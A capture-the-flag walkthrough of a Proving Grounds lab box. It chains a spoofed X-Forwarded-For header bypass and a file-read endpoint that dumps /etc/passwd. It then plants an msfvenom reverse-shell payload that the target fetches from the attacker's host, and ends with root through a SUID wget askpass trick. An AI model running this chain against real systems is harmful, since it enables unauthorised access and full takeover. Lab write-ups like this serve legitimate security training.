Intermediate rated OSCP like box found in Proving Grounds Practice.
Enumeration Link to heading
Rustscan revealed open SSH port and API Software running on port 13337.
└─$ rustscan -a 192.168.168.134 -- -sC -sV | tee rust_nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
13337/tcp open http syn-ack Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Interface of this API.
Looks like this box made it easy and provided me with instructions on how to use this API.
Exploitation Link to heading
I have launched a http listener and interacted with API to see If I will get a call back from /update endpoint.
└─$ python -m updog -p 80
[+] Serving /home/kali/ctf/pg/exposedapi...
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:80
* Running on http://192.168.2.147:80
Press CTRL+C to quit
└─$ curl -X POST -H "Content-Type: application/json" -d '{"user": "root", "url": " <a href="http://192.168.45.5%22%7d'">http://192.168.45.5"}'</a> 192.168.168.134:13337/update
Invalid username.
Looks like I need to get a valid username first. Instead I’ve attempted to get something out of /logs endpoint.
└─$ curl -X GET 192.168.168.134:13337/logs
WAF: Access Denied for this Host.
I now need to bypass IP restriction, which can be easily be done with cURL by providing X-Forwarded-for header.
└─$ curl -X GET 192.168.168.134:13337/logs -H "X-Forwarded-for: localhost"
Error! No file specified. Use file=/path/to/log/file to access log files.
I have provided /etc/shadow file as an input and received file content with valid usernames.
└─$ curl -X GET 192.168.168.134:13337/logs?file=/etc/passwd -H "X-Forwarded-for: localhost"
<html>
<head>
<title>Remote Software Management API</title>
<link rel="stylesheet" href="static/style.css"
</head>
<body>
<center><h1 style="color: #F0F0F0;">Remote Software Management API</h1></center>
<br>
<br>
<h2>Attention! This utility should not be exposed to external network. It is just for management on localhost. Contact system administrator(s) if you find this exposed on external network.</h2>
<br>
<br>
<div class="divmain">
<h3>Log:</h3>
<div class="divmin">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
</div>
</div>
</body>
</html>
I have generated elf reverse shell and attempted to upload it via /update endpoint.
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.5 LPORT=13337 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
└─$ curl -X POST -H "Content-Type: application/json" -d '{"user": "clumsyadmin", "url": " <a href="http://192.168.45.5/shell.elf%22%7d">http://192.168.45.5/shell.elf"}'</a> 192.168.168.134:13337/update
Update requested by clumsyadmin. Restart the software for changes to take effect.
I have visited /restart endpoint via Firefox to restart this application and as expected I have received a reverse shell.
└─$ nc -nvlp 13337
listening on [any] 13337 ...
connect to [192.168.45.5] from (UNKNOWN) [192.168.168.134] 45590
whoami
clumsyadmin
Privilege Escalation Link to heading
Once I’ve collected user flag, I checked for SUID binaries.
clumsyadmin@xposedapi:/tmp$ find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
273373 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
276719 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
398815 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
266035 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
262183 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
265710 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
276984 456 -rwsr-xr-x 1 root root 466496 Apr 5 2019 /usr/bin/wget
282583 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
266037 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
262179 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
262180 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
265563 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
272436 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
262182 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
Wget is definitely an odd one out, you don’t see it with SUID bit set that often. Naturally, I checked GTFOBins if this can be abused.
clumsyadmin@xposedapi:/tmp$ TF=$(mktemp)
TF=$(mktemp)
clumsyadmin@xposedapi:/tmp$
clumsyadmin@xposedapi:/tmp$ chmod +x $TF
chmod +x $TF
clumsyadmin@xposedapi:/tmp$
clumsyadmin@xposedapi:/tmp$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
clumsyadmin@xposedapi:/tmp$
clumsyadmin@xposedapi:/tmp$ wget --use-askpass=$TF 0
wget --use-askpass=$TF 0
# whoami
whoami
root
Worked like a charm, I am now root!